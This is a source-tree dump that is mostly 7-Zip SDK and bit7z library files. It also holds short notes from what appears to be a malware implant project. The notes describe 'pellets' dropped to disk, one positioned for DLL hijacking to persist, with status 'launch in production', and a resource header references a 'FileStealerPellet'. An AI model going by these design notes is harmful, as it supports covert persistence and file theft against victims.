| #ifdef UNDER_CE 9 | #define BIG_DIALOG_SIZE(x, y) bool isBig = NWindows::NControl::IsDialogSizeOK(x, y); 10 | #define SIZED_DIALOG(big) (isBig ? big : big ## _2) 11 | #else 12 | #define BIG_DIALOG_SIZE(x, y) 13 | #define SIZED_DIALOG(big) big 14 | #endif 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/BenchmarkDialog.h: -------------------------------------------------------------------------------- 1 | // BenchmarkDialog.h 2 | 3 | #ifndef __BENCHMARK_DIALOG_H 4 | #define __BENCHMARK_DIALOG_H 5 | 6 | #include "../../Common/CreateCoder.h" 7 | #include "../../UI/Common/Property.h" 8 | 9 | const UInt32 k_NumBenchIterations_Default = 10; 10 | 11 | HRESULT Benchmark( 12 | DECL_EXTERNAL_CODECS_LOC_VARS 13 | const CObjectVector &props, UInt32 numIterations, HWND hwndParent = NULL); 14 | 15 | #endif 16 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Archive2.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | CreateObject PRIVATE 3 | 4 | GetHandlerProperty PRIVATE 5 | GetNumberOfFormats PRIVATE 6 | GetHandlerProperty2 PRIVATE 7 | GetIsArc PRIVATE 8 | 9 | GetNumberOfMethods PRIVATE 10 | GetMethodProperty PRIVATE 11 | CreateDecoder PRIVATE 12 | CreateEncoder PRIVATE 13 | 14 | GetHashers PRIVATE 15 | 16 | SetCodecs PRIVATE 17 | 18 | SetLargePageMode PRIVATE 19 | SetCaseSensitive PRIVATE 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/7zAlloc.h: -------------------------------------------------------------------------------- 1 | /* 7zAlloc.h -- Allocation functions 2 | 2017-04-03 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_ALLOC_H 5 | #define __7Z_ALLOC_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | void *SzAlloc(ISzAllocPtr p, size_t size); 12 | void SzFree(ISzAllocPtr p, void *address); 13 | 14 | void *SzAllocTemp(ISzAllocPtr p, size_t size); 15 | void SzFreeTemp(ISzAllocPtr p, void *address); 16 | 17 | EXTERN_C_END 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zF/makefile: -------------------------------------------------------------------------------- 1 | PROG = 7z.dll 2 | DEF_FILE = ../../Archive/Archive2.def 3 | CFLAGS = $(CFLAGS) \ 4 | -DEXTERNAL_CODECS \ 5 | 6 | !IFNDEF UNDER_CE 7 | CFLAGS = $(CFLAGS) -D_7ZIP_LARGE_PAGES 8 | !ENDIF 9 | 10 | !include "Arc.mak" 11 | 12 | COMPRESS_OBJS = $(COMPRESS_OBJS) \ 13 | $O\CodecExports.obj \ 14 | 15 | AR_OBJS = $(AR_OBJS) \ 16 | $O\ArchiveExports.obj \ 17 | $O\DllExports2.obj \ 18 | 19 | 20 | !include "../../7zip.mak" 21 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Delta.h: -------------------------------------------------------------------------------- 1 | /* Delta.h -- Delta converter 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __DELTA_H 5 | #define __DELTA_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define DELTA_STATE_SIZE 256 12 | 13 | void Delta_Init(Byte *state); 14 | void Delta_Encode(Byte *state, unsigned delta, Byte *data, SizeT size); 15 | void Delta_Decode(Byte *state, unsigned delta, Byte *data, SizeT size); 16 | 17 | EXTERN_C_END 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/SystemInfo.h: -------------------------------------------------------------------------------- 1 | // Windows/SystemInfo.h 2 | 3 | #ifndef __WINDOWS_SYSTEM_INFO_H 4 | #define __WINDOWS_SYSTEM_INFO_H 5 | 6 | #include "../Common/MyString.h" 7 | 8 | 9 | void GetCpuName_MultiLine(AString &s); 10 | 11 | void GetOsInfoText(AString &sRes); 12 | void GetSystemInfoText(AString &s); 13 | void PrintSize_KMGT_Or_Hex(AString &s, UInt64 v); 14 | void Add_LargePages_String(AString &s); 15 | 16 | void GetCompiler(AString &s); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/7zRegister.cpp: -------------------------------------------------------------------------------- 1 | // 7zRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../Common/RegisterArc.h" 6 | 7 | #include "7zHandler.h" 8 | 9 | namespace NArchive { 10 | namespace N7z { 11 | 12 | static Byte k_Signature_Dec[kSignatureSize] = {'7' + 1, 'z', 0xBC, 0xAF, 0x27, 0x1C}; 13 | 14 | REGISTER_ARC_IO_DECREMENT_SIG( 15 | "7z", "7z", NULL, 7, 16 | k_Signature_Dec, 17 | 0, 18 | NArcInfoFlags::kFindSignature, 19 | NULL); 20 | 21 | }} 22 | -------------------------------------------------------------------------------- /client/Load-Pellet/Load-Pellet.txt: -------------------------------------------------------------------------------- 1 | Load Plugin's Pellet: 2 | Load-Pellet will be dropped on disk,either in temp directory or in public directory. 3 | Pellet will be deleted after unloading its plugin. 4 | 5 | STATES: WORKING:Y,NOT-WORKING:N,NOT AVAILABLE:N/A 6 | Compatability table: 7 | OS: WINDOWS 7 WINDOWS SERVER 2008(DATA CENTRE) WINDOWS SERVER 2012 WINDOWS SERVER 2016 WINDOWS SERVER 2019 WINDOWS 10 8 | STATE: Y Y N/A N/A N/A Y 9 | 10 | STATUS: 11 | LAUNCH IN PRODUCTION. 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Wim/WimRegister.cpp: -------------------------------------------------------------------------------- 1 | // WimRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../Common/RegisterArc.h" 6 | 7 | #include "WimHandler.h" 8 | 9 | namespace NArchive { 10 | namespace NWim { 11 | 12 | REGISTER_ARC_IO( 13 | "wim", "wim swm esd ppkg", 0, 0xE6, 14 | kSignature, 15 | 0, 16 | NArcInfoFlags::kAltStreams | 17 | NArcInfoFlags::kNtSecure | 18 | NArcInfoFlags::kSymLinks | 19 | NArcInfoFlags::kHardLinks 20 | , NULL) 21 | 22 | }} 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/ProcessMessages.cpp: -------------------------------------------------------------------------------- 1 | // Windows/ProcessMessages.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "ProcessMessages.h" 6 | 7 | namespace NWindows { 8 | 9 | void ProcessMessages(HWND window) 10 | { 11 | MSG msg; 12 | while (::PeekMessage(&msg, NULL, 0, 0, PM_REMOVE) ) 13 | { 14 | if (window == (HWND) NULL || !IsDialogMessage(window, &msg)) 15 | { 16 | TranslateMessage(&msg); 17 | DispatchMessage(&msg); 18 | } 19 | } 20 | } 21 | 22 | } 23 | -------------------------------------------------------------------------------- /client/shared/crypto/hex.c: -------------------------------------------------------------------------------- 1 | #include "hex.h" 2 | #include "common/allocation.h" 3 | unsigned char* hexstr_to_char(const char* hexstr) 4 | { 5 | DWORD len = strlen(hexstr); 6 | if (len % 2 != 0) 7 | return NULL; 8 | DWORD final_len = len / 2; 9 | unsigned char* chrs = (unsigned char*)allocheap((final_len + 1) * sizeof(*chrs)); 10 | for (DWORD i = 0, j = 0; j < final_len; i += 2, j++) 11 | chrs[j] = (hexstr[i] % 32 + 9) % 25 * 16 + (hexstr[i + 1] % 32 + 9) % 25; 12 | chrs[final_len] = '\0'; 13 | return chrs; 14 | } -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FoldersPageRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_FOLDERS 2400 2 | #define IDD_FOLDERS_2 12400 3 | 4 | #define IDT_FOLDERS_WORKING_FOLDER 2401 5 | #define IDR_FOLDERS_WORK_SYSTEM 2402 6 | #define IDR_FOLDERS_WORK_CURRENT 2403 7 | #define IDR_FOLDERS_WORK_SPECIFIED 2404 8 | #define IDX_FOLDERS_WORK_FOR_REMOVABLE 2405 9 | #define IDS_FOLDERS_SET_WORK_PATH_TITLE 2406 10 | 11 | #define IDE_FOLDERS_WORK_PATH 100 12 | #define IDB_FOLDERS_WORK_PATH 101 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/MyMessages.h: -------------------------------------------------------------------------------- 1 | // MyMessages.h 2 | 3 | #ifndef __MY_MESSAGES_H 4 | #define __MY_MESSAGES_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | void ShowErrorMessage(HWND window, LPCWSTR message); 9 | inline void ShowErrorMessage(LPCWSTR message) { ShowErrorMessage(0, message); } 10 | 11 | void ShowErrorMessageHwndRes(HWND window, UInt32 langID); 12 | void ShowErrorMessageRes(UInt32 langID); 13 | 14 | void ShowLastErrorMessage(HWND window = 0); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | // #define _WIN32_WINNT 0x0400 7 | #define _WIN32_WINNT 0x0500 8 | #define WINVER _WIN32_WINNT 9 | 10 | #include "../../../Common/Common.h" 11 | 12 | // #include "../../../Common/MyWindows.h" 13 | 14 | // #include 15 | // #include 16 | // #include 17 | 18 | // #define printf(x) NO_PRINTF_(x) 19 | // #define sprintf(x) NO_SPRINTF_(x) 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/BranchMisc.cpp: -------------------------------------------------------------------------------- 1 | // BranchMisc.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "BranchMisc.h" 6 | 7 | namespace NCompress { 8 | namespace NBranch { 9 | 10 | STDMETHODIMP CCoder::Init() 11 | { 12 | _bufferPos = 0; 13 | return S_OK; 14 | } 15 | 16 | STDMETHODIMP_(UInt32) CCoder::Filter(Byte *data, UInt32 size) 17 | { 18 | UInt32 processed = (UInt32)BraFunc(data, size, _bufferPos, _encode); 19 | _bufferPos += processed; 20 | return processed; 21 | } 22 | 23 | }} 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ListViewDialog.rc: -------------------------------------------------------------------------------- 1 | #include "ListViewDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 480 5 | #define yc 320 6 | 7 | IDD_LISTVIEW DIALOG 0, 0, xs, ys MY_MODAL_RESIZE_DIALOG_STYLE MY_FONT 8 | CAPTION "ListView" 9 | { 10 | CONTROL "List1", IDL_LISTVIEW, "SysListView32", LVS_REPORT | LVS_SHOWSELALWAYS | 11 | LVS_AUTOARRANGE | LVS_NOCOLUMNHEADER | WS_BORDER | WS_TABSTOP, 12 | m, m, xc, yc - bys - m 13 | OK_CANCEL 14 | } 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FoldersPage.rc: -------------------------------------------------------------------------------- 1 | #include "FoldersPageRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 240 5 | #define yc 100 6 | 7 | IDD_FOLDERS MY_PAGE 8 | #include "FoldersPage2.rc" 9 | 10 | #ifdef UNDER_CE 11 | 12 | #undef xc 13 | #define xc SMALL_PAGE_SIZE_X 14 | 15 | IDD_FOLDERS_2 MY_PAGE 16 | #include "FoldersPage2.rc" 17 | 18 | #endif 19 | 20 | STRINGTABLE 21 | BEGIN 22 | IDS_FOLDERS_SET_WORK_PATH_TITLE "Specify a location for temporary archive files." 23 | END 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | #include "resource.h" 3 | 4 | MY_VERSION_INFO_APP("7z Setup SFX", "7zS.sfx") 5 | 6 | IDI_ICON ICON "setup.ico" 7 | 8 | STRINGTABLE 9 | BEGIN 10 | IDS_EXTRACTION_ERROR_TITLE "Extraction Failed" 11 | IDS_EXTRACTION_ERROR_MESSAGE "File is corrupt" 12 | IDS_CANNOT_CREATE_FOLDER "Cannot create folder '{0}'" 13 | IDS_PROGRESS_EXTRACTING "Extracting" 14 | END 15 | 16 | #include "../../UI/FileManager/ProgressDialog.rc" 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/SplitUtils.h: -------------------------------------------------------------------------------- 1 | // SplitUtils.h 2 | 3 | #ifndef __SPLIT_UTILS_H 4 | #define __SPLIT_UTILS_H 5 | 6 | #include "../../../Common/MyTypes.h" 7 | #include "../../../Common/MyString.h" 8 | 9 | #include "../../../Windows/Control/ComboBox.h" 10 | 11 | bool ParseVolumeSizes(const UString &s, CRecordVector &values); 12 | void AddVolumeItems(NWindows::NControl::CComboBox &volumeCombo); 13 | UInt64 GetNumberOfVolumes(UInt64 size, const CRecordVector &volSizes); 14 | 15 | #endif 16 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/DummyOutStream.cpp: -------------------------------------------------------------------------------- 1 | // DummyOutStream.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "DummyOutStream.h" 6 | 7 | STDMETHODIMP CDummyOutStream::Write(const void *data, UInt32 size, UInt32 *processedSize) 8 | { 9 | UInt32 realProcessedSize = size; 10 | HRESULT res = S_OK; 11 | if (_stream) 12 | res = _stream->Write(data, size, &realProcessedSize); 13 | _size += realProcessedSize; 14 | if (processedSize) 15 | *processedSize = realProcessedSize; 16 | return res; 17 | } 18 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/MessagesDialog.rc: -------------------------------------------------------------------------------- 1 | #include "MessagesDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 440 5 | #define yc 160 6 | 7 | IDD_MESSAGES DIALOG 0, 0, xs, ys MY_MODAL_RESIZE_DIALOG_STYLE MY_FONT 8 | CAPTION "7-Zip: Diagnostic messages" 9 | { 10 | DEFPUSHBUTTON "&Close", IDOK, bx, by, bxs, bys 11 | CONTROL "List1", IDL_MESSAGE, "SysListView32", 12 | LVS_REPORT | LVS_SHOWSELALWAYS | LVS_NOSORTHEADER | WS_BORDER | WS_TABSTOP, 13 | m, m, xc, yc - bys - m 14 | } 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/PasswordDialog.rc: -------------------------------------------------------------------------------- 1 | #include "PasswordDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 140 5 | #define yc 72 6 | 7 | IDD_PASSWORD DIALOG 0, 0, xs, ys MY_MODAL_DIALOG_STYLE MY_FONT 8 | CAPTION "Enter password" 9 | BEGIN 10 | LTEXT "&Enter password:", IDT_PASSWORD_ENTER, m, m, xc, 8 11 | EDITTEXT IDE_PASSWORD_PASSWORD, m, 20, xc, 14, ES_PASSWORD | ES_AUTOHSCROLL 12 | CONTROL "&Show password", IDX_PASSWORD_SHOW, MY_CHECKBOX, m, 42, xc, 10 13 | OK_CANCEL 14 | END 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/OutStreamWithCRC.cpp: -------------------------------------------------------------------------------- 1 | // OutStreamWithCRC.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "OutStreamWithCRC.h" 6 | 7 | STDMETHODIMP COutStreamWithCRC::Write(const void *data, UInt32 size, UInt32 *processedSize) 8 | { 9 | HRESULT result = S_OK; 10 | if (_stream) 11 | result = _stream->Write(data, size, &size); 12 | if (_calculate) 13 | _crc = CrcUpdate(_crc, data, size); 14 | _size += size; 15 | if (processedSize != NULL) 16 | *processedSize = size; 17 | return result; 18 | } 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/StreamUtils.h: -------------------------------------------------------------------------------- 1 | // StreamUtils.h 2 | 3 | #ifndef __STREAM_UTILS_H 4 | #define __STREAM_UTILS_H 5 | 6 | #include "../IStream.h" 7 | 8 | HRESULT ReadStream(ISequentialInStream *stream, void *data, size_t *size) throw(); 9 | HRESULT ReadStream_FALSE(ISequentialInStream *stream, void *data, size_t size) throw(); 10 | HRESULT ReadStream_FAIL(ISequentialInStream *stream, void *data, size_t size) throw(); 11 | HRESULT WriteStream(ISequentialOutStream *stream, const void *data, size_t size) throw(); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/Lang.h: -------------------------------------------------------------------------------- 1 | // Common/Lang.h 2 | 3 | #ifndef __COMMON_LANG_H 4 | #define __COMMON_LANG_H 5 | 6 | #include "MyString.h" 7 | 8 | class CLang 9 | { 10 | wchar_t *_text; 11 | CRecordVector _ids; 12 | CRecordVector _offsets; 13 | 14 | bool OpenFromString(const AString &s); 15 | public: 16 | CLang(): _text(0) {} 17 | ~CLang() { Clear(); } 18 | bool Open(CFSTR fileName, const char *id); 19 | void Clear() throw(); 20 | const wchar_t *Get(UInt32 id) const throw(); 21 | }; 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/ListFileUtils.h: -------------------------------------------------------------------------------- 1 | // Common/ListFileUtils.h 2 | 3 | #ifndef __COMMON_LIST_FILE_UTILS_H 4 | #define __COMMON_LIST_FILE_UTILS_H 5 | 6 | #include "MyString.h" 7 | #include "MyTypes.h" 8 | 9 | #define MY__CP_UTF16 1200 10 | #define MY__CP_UTF16BE 1201 11 | 12 | // bool ReadNamesFromListFile(CFSTR fileName, UStringVector &strings, UINT codePage = CP_OEMCP); 13 | 14 | // = CP_OEMCP 15 | bool ReadNamesFromListFile2(CFSTR fileName, UStringVector &strings, UINT codePage, 16 | DWORD &lastError); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/OutStreamWithSha1.cpp: -------------------------------------------------------------------------------- 1 | // OutStreamWithSha1.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "OutStreamWithSha1.h" 6 | 7 | STDMETHODIMP COutStreamWithSha1::Write(const void *data, UInt32 size, UInt32 *processedSize) 8 | { 9 | HRESULT result = S_OK; 10 | if (_stream) 11 | result = _stream->Write(data, size, &size); 12 | if (_calculate) 13 | Sha1_Update(Sha(), (const Byte *)data, size); 14 | _size += size; 15 | if (processedSize) 16 | *processedSize = size; 17 | return result; 18 | } 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Crypto/Pbkdf2HmacSha1.h: -------------------------------------------------------------------------------- 1 | // Pbkdf2HmacSha1.h 2 | // Password-Based Key Derivation Function (RFC 2898, PKCS #5) based on HMAC-SHA-1 3 | 4 | #ifndef __CRYPTO_PBKDF2_HMAC_SHA1_H 5 | #define __CRYPTO_PBKDF2_HMAC_SHA1_H 6 | 7 | #include 8 | 9 | #include "../../Common/MyTypes.h" 10 | 11 | namespace NCrypto { 12 | namespace NSha1 { 13 | 14 | void Pbkdf2Hmac(const Byte *pwd, size_t pwdSize, const Byte *salt, size_t saltSize, 15 | UInt32 numIterations, Byte *key, size_t keySize); 16 | 17 | }} 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/Random.cpp: -------------------------------------------------------------------------------- 1 | // Common/Random.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include 6 | 7 | #ifndef _WIN32 8 | #include 9 | #else 10 | #include "MyWindows.h" 11 | #endif 12 | 13 | #include "Random.h" 14 | 15 | void CRandom::Init(unsigned int seed) { srand(seed); } 16 | 17 | void CRandom::Init() 18 | { 19 | Init((unsigned int) 20 | #ifdef _WIN32 21 | GetTickCount() 22 | #else 23 | time(NULL) 24 | #endif 25 | ); 26 | } 27 | 28 | int CRandom::Generate() const { return rand(); } 29 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/HuffEnc.h: -------------------------------------------------------------------------------- 1 | /* HuffEnc.h -- Huffman encoding 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __HUFF_ENC_H 5 | #define __HUFF_ENC_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | /* 12 | Conditions: 13 | num <= 1024 = 2 ^ NUM_BITS 14 | Sum(freqs) < 4M = 2 ^ (32 - NUM_BITS) 15 | maxLen <= 16 = kMaxLen 16 | Num_Items(p) >= HUFFMAN_TEMP_SIZE(num) 17 | */ 18 | 19 | void Huffman_Generate(const UInt32 *freqs, UInt32 *p, Byte *lens, UInt32 num, UInt32 maxLen); 20 | 21 | EXTERN_C_END 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/BcjCoder.cpp: -------------------------------------------------------------------------------- 1 | // BcjCoder.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "BcjCoder.h" 6 | 7 | namespace NCompress { 8 | namespace NBcj { 9 | 10 | STDMETHODIMP CCoder::Init() 11 | { 12 | _bufferPos = 0; 13 | x86_Convert_Init(_prevMask); 14 | return S_OK; 15 | } 16 | 17 | STDMETHODIMP_(UInt32) CCoder::Filter(Byte *data, UInt32 size) 18 | { 19 | UInt32 processed = (UInt32)::x86_Convert(data, size, _bufferPos, &_prevMask, _encode); 20 | _bufferPos += processed; 21 | return processed; 22 | } 23 | 24 | }} 25 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/7-zip.dll.manifest: -------------------------------------------------------------------------------- 1 | 7-Zip Extension. 2 | -------------------------------------------------------------------------------- /client/Persistence-Pellet/Persistence-Pellet.txt: -------------------------------------------------------------------------------- 1 | Persistence Plugin's Pellet: 2 | Persistence-Pellet will be dropped on disk,where preferred located for DLL-HIJACKING is set 3 | Pellet will be deleted upon receving on uninstall command. 4 | 5 | STATES: WORKING:Y,NOT-WORKING:N,NOT AVAILABLE:N/A 6 | Compatability table: 7 | OS: WINDOWS 7 WINDOWS SERVER 2008(DATA CENTRE) WINDOWS SERVER 2012 WINDOWS SERVER 2016 WINDOWS SERVER 2019 WINDOWS 10 8 | STATE: Y Y N/A N/A N/A Y 9 | 10 | STATUS: 11 | LAUNCH IN PRODUCTION. 12 | TODO: 13 | test UNINSTALL. 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Tar/TarRegister.cpp: -------------------------------------------------------------------------------- 1 | // TarRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../Common/RegisterArc.h" 6 | 7 | #include "TarHandler.h" 8 | 9 | namespace NArchive { 10 | namespace NTar { 11 | 12 | static const Byte k_Signature[] = { 'u', 's', 't', 'a', 'r' }; 13 | 14 | REGISTER_ARC_IO( 15 | "tar", "tar ova", 0, 0xEE, 16 | k_Signature, 17 | NFileHeader::kUstarMagic_Offset, 18 | NArcInfoFlags::kStartOpen | 19 | NArcInfoFlags::kSymLinks | 20 | NArcInfoFlags::kHardLinks, 21 | IsArc_Tar) 22 | 23 | }} 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/TextConfig.h: -------------------------------------------------------------------------------- 1 | // Common/TextConfig.h 2 | 3 | #ifndef __COMMON_TEXT_CONFIG_H 4 | #define __COMMON_TEXT_CONFIG_H 5 | 6 | #include "MyString.h" 7 | 8 | struct CTextConfigPair 9 | { 10 | UString ID; 11 | UString String; 12 | }; 13 | 14 | bool GetTextConfig(const AString &text, CObjectVector &pairs); 15 | 16 | int FindTextConfigItem(const CObjectVector &pairs, const char *id) throw(); 17 | UString GetTextConfigValue(const CObjectVector &pairs, const char *id); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/AboutDialog.h: -------------------------------------------------------------------------------- 1 | // AboutDialog.h 2 | 3 | #ifndef __ABOUT_DIALOG_H 4 | #define __ABOUT_DIALOG_H 5 | 6 | #include "../../../Windows/Control/Dialog.h" 7 | 8 | #include "AboutDialogRes.h" 9 | 10 | class CAboutDialog: public NWindows::NControl::CModalDialog 11 | { 12 | public: 13 | virtual bool OnInit(); 14 | virtual void OnHelp(); 15 | virtual bool OnButtonClicked(int buttonID, HWND buttonHWND); 16 | INT_PTR Create(HWND wndParent = 0) { return CModalDialog::Create(IDD_ABOUT, wndParent); } 17 | }; 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/PropertyName.cpp: -------------------------------------------------------------------------------- 1 | // PropertyName.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../../Common/IntToString.h" 6 | 7 | #include "LangUtils.h" 8 | #include "PropertyName.h" 9 | 10 | UString GetNameOfProperty(PROPID propID, const wchar_t *name) 11 | { 12 | if (propID < 1000) 13 | { 14 | UString s = LangString(1000 + propID); 15 | if (!s.IsEmpty()) 16 | return s; 17 | } 18 | if (name) 19 | return name; 20 | wchar_t temp[16]; 21 | ConvertUInt32ToString(propID, temp); 22 | return temp; 23 | } 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/NationalTime.h: -------------------------------------------------------------------------------- 1 | // Windows/NationalTime.h 2 | 3 | #ifndef __WINDOWS_NATIONAL_TIME_H 4 | #define __WINDOWS_NATIONAL_TIME_H 5 | 6 | #include "../Common/MyString.h" 7 | 8 | namespace NWindows { 9 | namespace NNational { 10 | namespace NTime { 11 | 12 | bool MyGetTimeFormat(LCID locale, DWORD flags, CONST SYSTEMTIME *time, 13 | LPCTSTR format, CSysString &resultString); 14 | 15 | bool MyGetDateFormat(LCID locale, DWORD flags, CONST SYSTEMTIME *time, 16 | LPCTSTR format, CSysString &resultString); 17 | 18 | }}} 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/StdAfx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | /* we used 0x0400 for Windows NT supporting (MENUITEMINFOW) 7 | But now menu problem is fixed. So it's OK to use 0x0500 (Windows 2000) */ 8 | 9 | // #define _WIN32_WINNT 0x0400 10 | #define _WIN32_WINNT 0x0500 11 | #define WINVER _WIN32_WINNT 12 | 13 | #include "../../../Common/Common.h" 14 | 15 | // #include "../../../Common/MyWindows.h" 16 | 17 | // #include 18 | // #include 19 | // #include 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/resource1.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by FileStealerPellet.rc 4 | // 5 | 6 | #define IDD_DIALOG1 101 7 | 8 | // Next default values for new objects 9 | // 10 | #define IDR_WIN 1 11 | #ifdef APSTUDIO_INVOKED 12 | #ifndef APSTUDIO_READONLY_SYMBOLS 13 | #define _APS_NEXT_RESOURCE_VALUE 103 14 | #define _APS_NEXT_COMMAND_VALUE 40001 15 | #define _APS_NEXT_CONTROL_VALUE 1001 16 | #define _APS_NEXT_SYMED_VALUE 101 17 | #endif 18 | #endif 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/resourceGui.h: -------------------------------------------------------------------------------- 1 | #define IDI_ICON 1 2 | 3 | #define IDS_MESSAGE_NO_ERRORS 3001 4 | 5 | #define IDS_PROGRESS_TESTING 3302 6 | #define IDS_OPENNING 3303 7 | #define IDS_SCANNING 3304 8 | 9 | #define IDS_CHECKSUM_CALCULATING 7500 10 | #define IDS_CHECKSUM_INFORMATION 7501 11 | #define IDS_CHECKSUM_CRC_DATA 7502 12 | #define IDS_CHECKSUM_CRC_DATA_NAMES 7503 13 | #define IDS_CHECKSUM_CRC_STREAMS_NAMES 7504 14 | 15 | #define IDS_INCORRECT_VOLUME_SIZE 7307 16 | -------------------------------------------------------------------------------- 